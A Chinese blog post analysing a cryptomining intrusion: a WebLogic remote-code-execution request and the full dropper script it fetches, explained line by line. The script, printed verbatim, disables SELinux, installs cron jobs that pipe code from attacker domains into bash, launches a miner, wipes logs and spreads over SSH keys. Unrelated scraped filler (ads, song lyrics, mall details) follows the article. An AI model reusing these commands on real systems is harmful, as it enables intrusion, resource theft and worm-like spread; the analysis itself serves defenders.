本文轉載自不正經程序員
溫馨提示:本文中出現的命令和腳本,不要在自家服務器上隨便運行,除非你知道自己在做什么。
挖礦是把機器當作奴隸,一刻不停歇的去計算、運轉,本質上是個無用的工作。但可惜的是,它能賺錢。用別人的機器去賺錢,更是很多人夢寐以求的,所以挖礦腳本屢禁不止。
有錢的地方,就有技術。但反過來并不一定成立。
牢記這個準則,就能夠心平氣和的學習新技術,而不是氣急敗壞的糾結為啥沒錢。
下面是一個http的報文。
GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脫敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8
很簡單,waf防火墻攔截到相關包,一眼看上去就不正常。從關鍵字com.tangosol.coherence.mvel2.sh.ShellSession
可以得知,這個請求,是想要利用Weblogic的遠程代碼執行漏洞。
這樣的漏洞有很多很多,數不勝數,比如它可以通過redis進入。我們不必關注這些漏洞,默認它已經利用成功了。我們只看挖礦腳本是怎么部署到你的機器上的。
在java中,當然要調用它的Runtime類庫,如果你的應用程序是運行在root用戶的,那它什么事情都能干。
這就是為什么要求你線上部署的應用,都用權限低一點的賬戶,比如xjjdog去運行,而不是不要命的把root賬戶給開放。
exec函數帶了三個參數。
/bin/sh
意味著它要執行一個shell腳本 -c
指明了要執行的命令 狡猾的人都喜歡帶面具,而狡猾的腳本都喜歡改后綴??雌饋硎莻€png,但它是個腳本。
接下來摘下它的偽裝,看一下它的真面目。
curl http://t.bb3u9.com/ln/core.png?logic > core.png
查看core.png
文件中的內容。不錯,很長一段腳本。
#/bin/bashsetenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/nullsync && echo 3 >/proc/sys/vm/drop_cachesmurl1="http://t.bb3u9.com/ln/a.asp"murl2="http://t.jdjdcjq.top/ln/a.asp"cdate=$(date "+%Y%m%d")guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"echo "">/var/spool/cron/rootecho "">/var/spool/cron/crontabs/rootif [ "`whoami`" == "root" ];then cronpath=/etc/crontab Xpath=/.Xl1else cronpath=/var/spool/cron/`whoami` Xpath=~/.Xl1fiif [ ! -d "$Xpath" ];then mkdir $Xpath echo "$[$RANDOM%60] * * * * root $cmd1" >> $cronpath echo "$[$RANDOM%60] * * * * root $cmd2" >> $cronpath uname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontab export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bashfiecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secure
按照常規,我們來一行行拆解它。
1)關掉selinux。setenforce 0是關閉的意思,2表示stderr,出錯了不提示。接下來會通過寫配置文件的方式,永久性的禁止selinux。
setenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
2)很良心的幫助清理一下系統內存
sync && echo 3 >/proc/sys/vm/drop_caches
3)構造guid,對機器進行標識
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
dmidecode命令,可以獲取linux硬件相關的信息,會輸出非常多的內容。-t 4表示只獲取Process
方面的內容。然后過濾一下ID信息,使用sed命令截取并去掉空格。
ID: 57 06 05 00 FF FB 8B 0F
會變成。
57060500FFFB8B0F
然后使用ifcongig命令獲取網卡硬件MAC信息。做同樣的處理后獲得另外一個串。這段腳本寫的稍微有點問題,因為ifconfig的輸出經常會改格式,但不影響計算hash。
sha256sum就是算出這樣一個hash,然后賦值給guid。比如下面這個。
786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
4)安裝定時任務到crontab中
腳本選擇了/.Xl1
目錄作為真正的挖礦程序的存儲目錄。注意這三個字母,后面是l和1,并不是X桌面的配置目錄。在真正的腳本
部分,我們可以看到下載的程序包地址是d.u78wjdu.com/ln/xr.zip
。
5)我們再來看一下下載的鏈接是什么樣子的
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
其中,src變量是在一開始就設置的,我們依次來還原一下。
export src=logiccdate=$(date "+%Y%m%d")guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`gurl=$murl1?${src}_${cdate}
最終會拼成下面的字符串,可以說該有的信息都有了,能夠區分出到底是哪一臺機器了。
url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
$RANDOM
環境變量,是個神奇的環境變量。直接輸出的話,將會得到一個隨機值。cron腳本周期性的拉取最新的腳本執行,把真正的挖礦程序部署起來。
關于真實腳本的介紹,xjjdog在另外一篇文章中有詳細的介紹。在這個場景下,最新的腳本就是http://t.bb3u9.com/ln/a.asp
,依然是改后綴的障眼法。
這個腳本顯然比上面這篇文章介紹的要更加高級一些。腳本很長很長,就不貼了,你可以自己下載。它的主要意圖,是下載一個叫做xr的程序,然后在馬甲目錄.Xl1中運行。xr程序才是挖礦的主要程序,其他的腳本,都是輔助它來運行的。下面是最主要的運行邏輯。
if [ ! -d "$Xpath" ];then mkdir $Xpathficd $Xpathif [ ! -f "./xr" ];then uname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zipfiuname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda
要保證腳本的安全,怎么能少得了chattr命令。很多人遇見加了i參數的文件,不能被刪除,就傻眼了。其實是可以通過-i
參數去掉這個屬性的。
chattr -iua /tmp/chattr -iua /var/tmp/chattr -R -i /var/spool/cronchattr -i /etc/crontab
腳本還會通過nc命令,拷貝rsa公鑰到你的每個用戶目錄下面,把你做成事實上的肉雞,實現免密登錄。關于nc這把瑞士軍刀,我們也有過介紹。
for file in /home/*do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done fi fidone
這份腳本,還會病毒式的傳播。localgo
函數,通過從你的ps
進程,history
文件,還有hosts
配置,拿到用戶列表、主機列表端口、rsa密鑰等,就可以批量的去嘗試登錄并傳播這份腳本。當然,上面的xr程序會監聽65529
的端口,如果判斷主機已經中招了,就不再繼續探測。
能用65529
這個端口,本身就夠騷氣的了,有幾臺機器能夠達到上限65535呢?
localgo() { i=0 for user in $userlist; do for host in $hostlist; do for key in $keylist; do for sshp in $sshports; do i=$((i+1)) if [ "${i}" -eq "20" ]; then sleep 20 ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null & i=0 fi #Wait 20 seconds after every 20 attempts and clean up hanging processes chmod +r $key chmod 400 $key echo "$user@$host $key $sshp" echo exit |nc -w 1 -n -v $host 65529 && ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &" done done done done}
最后,腳本還不忘匯報一下,形成完美的閉環。
reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}(curl -fsSL $reurl||wget -q -O- $reurl)|bash
如果你發現你的機器不明原因發熱,務必排查一下有沒有挖礦程序。雖然你的服務器擺在那里也沒什么用,但用著你的電費,收益卻給別人,相信你一定會嫉妒的要命。那么別猶豫,kill -9送給它,別忘了清理cron。
重裝是我們的秘密武器,僅次于重啟。嫌麻煩的話,就這么干吧!
158466.html
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
《踏山河》完整版歌詞歌曲踏山河完整版歌詞?踏山河歌詞曲原唱?《踏山河》是由祝何作詞,祝何作曲,由歌手“是七叔呢”演唱的歌曲,收錄于同名專輯《踏山河》,于2020年11月19日發行。歌詞:秋風落日入長河 ,江南煙雨行舟;亂石穿空 ,卷起多少的烽火;萬里山河都踏過 ,天下又入誰手;分分合合 ,不過幾十載春秋;我在 十面埋伏, 四面楚歌的時候;把酒與蒼天對酌,縱然一去不回 此戰又如何;誰見 萬箭齊發 星...
沈陽的萬象城在哪里?繼深圳、杭州之后,華潤第三個萬象城位于遼寧體育館原址沈陽。作為購物中心行業沈陽萬象城(3張)開業現場的佼佼者,沈陽萬象城建筑面積近25萬平方米。地下一層,地上六層商業,容納各類商鋪200余家,已于2011年5月15日開業。沈陽萬象城匯集了世界各地的經典美食。新成立的品牌包括曼吉甜品、哈根達斯、星巴克等年輕人喜愛的品牌。首次將王品福爾摩沙牛排、食通天美食廣場、泰興餐廳、大余日式鐵...
網上聊天別人總說sky到底是什么意思?網上?女孩子一開始都很害羞,只要你能感動她,她就會喜歡你的。我建議你在車站見她。女孩們還是喜歡口是心非。她的反應可能還沒有準備好墜入愛河。我不知道她在找什么樣的搭檔sky網絡電話怎么樣?Sky自2012年以來一直是Sky的忠實用戶。然而,15年來,人們的態度已經從期待到失望再到絕望?;ヂ摼W電話過去工作良好,它是第一個提供電力顯示功能。一開始我喜歡?,F在越來越難...